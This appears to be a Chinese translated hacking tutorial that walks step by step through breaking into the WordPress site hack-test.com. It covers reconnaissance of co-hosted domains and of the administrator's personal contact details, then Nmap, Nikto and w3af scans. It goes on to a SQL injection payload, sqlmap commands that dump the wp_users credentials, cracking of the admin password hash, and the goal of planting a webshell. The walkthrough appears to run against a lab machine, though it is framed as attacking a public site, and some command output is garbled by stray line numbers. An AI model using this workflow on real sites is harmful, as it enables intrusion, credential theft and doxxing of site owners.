送国外黑客们的入侵网站思路
问题的答案看起来不那么确定,显而易见的是黑掉一个站点有很多种方法。在这篇文章,我们的目标是要给大家展示一下黑客是如何锁定并黑掉一个目标站点的!让我们来看看目标站点:hack-test.com先ping
问题的答案看起来不那么确定,显而易见的是黑掉一个站点有很多种方法。在这篇文章,我们的目标是要给大家展示一下黑客是如何锁定并黑掉一个目标站点的!
让我们来看看目标站点:hack-test.com
先ping 下站点所在服务器的IP :
现在我们有了目标站点所在服务器的IP 了 — 173.236.138.113
然后我们可以找找同个IP 上的其他站点(旁站:sameip.org ): Same IP 26 sites hosted on IP Address 173.236.138.113
ID Domain Site Link
1 hijackthisforum.com hijackthisforum.com
2 sportforum.net



sportforum.net
,3 freeonlinesudoku.net freeonlinesudoku.net
4 cosplayhell.com cosplayhell.com
5 videogamenews.org videogamenews.org
6 gametour.com gametour.com
7 qualitypetsitting.net qualitypetsitting.net
8 brendanichols.com brendanichols.com
9 8ez.com 8ez.com
10 hack-test.com hack-test.com
11 kisax.com kisax.com
12 paisans.com paisans.com
13 mghz.com mghz.com
14 debateful.com debateful.com
15 jazzygoodtimes.com jazzygoodtimes.com
16 fruny.com fruny.com
17 vbum.com vbum.com
18 wuckie.com wuckie.com
19 force5inc.com force5inc.com
20 virushero.com virushero.com
21 twincitiesbusinesspeernetwork.com twincitiesbusinesspeernetwork.com 22 jennieko.com jennieko.com
23 davereedy.com davereedy.com
24 joygarrido.com joygarrido.com
25 prismapp.com prismapp.com
26 utiligolf.com utiligolf.com
总计有26个站点在[173.236.138.113]这台服务器上。为了黑掉目标站点,许多黑客会把目标站点同服的其他站点也划入攻击范围内。但是出于学习的目的,我们今天暂且将其他站点放在一边。
我们需要更多关于目标站点的信息(Ps :笔者认为在渗透测试过程中,这比实施测试的环节来得重要得多。),他们包括:
1.DNS 记录(A ,NS ,TXT ,MX )
2.WEB 服务类型(IIS ,APACHE ,TOMCAT )
3. 域名注册者的信息(所持有域名公司等)
4. 目标站点管理员(相关人员)的姓名,电话,邮箱和住址等
5. 目标站点所支持的脚本类型(PHP ,ASP ,JSP ,ASP.net ,CFM )
6. 目标站点的操作系统(UNIX,LINUX,WINDOWS,SOLARIS )
7. 目标站点开放的端口
让我们先来查询相关DNS 记录吧,这里用的是 who.is:
,目标站点DNS 记录信息:
Record Type TTL Priority Content
hack-4 A 173.236.138.113 () test.com hours
ns1.dreamhost.com. hack-4 SOA hostmaster.dreamhost.com. 2011032301 test.com hours 15283 1800 1814400 14400
hack-4 NS ns1.dreamhost.com test.com hours
hack-4 NS ns3.dreamhost.com test.com hours
hack-4 NS ns2.dreamhost.com test.com hours
www.hack-4 A 173.236.138.113 () test.com hours
同时确认WEB 服务的类型:
显而易见是Apache ,稍后我们将确定其版本:
HACK-TEST.COM SITE INFORMATION
IP: 173.236.138.113
Website Status: active


Server Type: Apache
,Alexa Trend/Rank: 1 Month: 3,213,968 3 Month: 2,161,753 Page Views per Visit: 1 Month: 2.0 3 Month: 3.7
现在是时候来查询目标站点持有人(也许可能就是管理员)信息了:
现在我们有了管理员的一些相关信息了,祭出Backtrack5中的神器 Whatweb 来确认操作系统和WEB 服务版本信息:
Now we found that your site is using a famous php script called WordPress, that your server os is Fedora Linux and that your web server version is (apache 2.2.15), let’s find open ports in your server.
现在我们知道,目标站点使用了用PHP 编写的非常出名的开源博客系统
WordPress ,并且是跑在Fedora 的Linux 发行版上的,Apache 版本是2.2.15。接下来让我们看看目标站点服务器开了哪些端口:
祭出神器Nmap
1 – 获取目标服务器开放的服务
1 root@bt:/# nmap -sV hack-test.com 2 Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-28 06:39 EET 3 Nmap scan report for hack-test.com (192.168.1.2) 4 Host is up (0.0013s latency). 5 Not shown: 998 filtered ports 6 PORT STATE SERVICE VERSION 7 22/tcp closed ssh 8 80/tcp open http Apache httpd 2.2.15 ((Fedora)) 9 MAC Address: 00:0C:29:01:8A:4D (VMware) 1Service detection performed. Please report any incorrect results at0 http://nmap.org/submit/ . 1Nmap done: 1 IP address (1 host up) scanned in 11.56 seconds 1
2 – 获取目标服务器操作系统



1 root@bt:/# nmap -O hack-test.com
,2 Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-28 06:40 EET 3 Nmap scan report for hack-test.com (192.168.1.2)
4 Host is up (0.00079s latency).
5 Not shown: 998 filtered ports
6 PORT STATE SERVICE
7 22/tcp closed ssh
8 80/tcp open http
9 MAC Address: 00:0C:29:01:8A:4D (VMware)
1Device type: general purpose
0 Running: Linux 2.6.X
1OS details: Linux 2.6.22 (Fedora Core 6)
1 Network Distance: 1 hop
1OS detection performed. Please report any incorrect results at http2 ://nmap.org/submit/ .
1Nmap done: 1 IP address (1 host up) scanned in 7.42 seconds 3
1
4
1
5
1
6
1
7
1
8
啊哦!~只开了80,而且是 Fedora Core 6 Linux内核版本为2.6.22
现在我们已经收集了很多关于目标站点的重要信息了。让我们扫扫他的漏洞吧。(Sql injection – Blind sql injection – LFI – RFI – XSS – CSRF,等等. )
让我们先试试 Nakto.pl 来扫扫,没准能搞出点漏洞来
root@bt:/pentest/web/nikto# perl nikto.pl -h http://hack-test.com – Nikto v2.1.4
—————————————————————————
Target IP: 192.168.1.2 Target Hostname: hack-test.com Target Port: 80 Start Time: 2011-12-29 06:50:03
—————————————————————————
Server: Apache/2.2.15 (Fedora) ETag header found on server, inode: 12748, size: 1475, mtime: 0x4996d177f5c3b Apache/2.2.15 appears to be outdated (current is at least Apache/2.2.17). Apache 1.3.42 (final release) and 2.0.64 are also current. Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST OSVDB-3268: /icons/:
Directory indexing found. OSVDB-3233: /icons/README: Apache default
,file found. 6448 items checked: 1 error(s) and 6 item(s) reported on remote host End Time: 2011-12-29 06:50:37 (34 seconds) —————————————————————————
同时试试Wa3f (Ps :哦哇谱死的开源项目,很不错的说~)
1
2 root@bt:/pentest/web/w3af# ./w3af_gui
3 Starting w3af, running on:
4 Python version:
5 2.6.5 (r265:79063, Apr 16 2010, 13:57:41)
6 [GCC 4.4.3]
7 GTK version: 2.20.1
8 PyGTK version: 2.17.0
9 w3af - Web Application Attack and Audit Framework
10 Version: 1.2
11 Revision: 4605
12 Author: Andres Riancho and the w3af team.
13
图形界面的扫描方式,写入URL 即可。


用以前给杂志社投稿的语气说,泡杯茶的功夫,等待扫描结束并查看结果。 你可以看到很多漏洞信息鸟~先试试SQL 注入。


url – http://hack-test.com/Hackademic_RTB1/?cat=d'z"0 然后 Exploit it!
发现其他漏洞测试失败,用SQLMap 进行脱裤吧(猜解数据库并保存目标站点相关信息到本地) Dump it!


sqlmap -u url
,过一小会儿能见到如下信息
按n 并回车后你可以看到
哦也~显错方式的注入点,而且爆出的 Mysql的版本信息
用sqlmap 取得所有库,参数 -dbs
找到三个库
查Wordpress 的库中所有表,参数 -D wordpress -tables
然后是列名(这里需要你自己熟悉敏感信息存在哪个表中呢),参数 -T wp_users -columns
22个字段(列)







然后查数据,参数 -C user_login,user_pass –dump 然后解密管理员的hash ,这里用的是 http://www.onlinehashcrack.com/free-hash-reverse.php
明文密码是q1w2e3(和csdn 库的密码排行榜有得一拼,哈哈~),然后登入后台拿webshell 了。

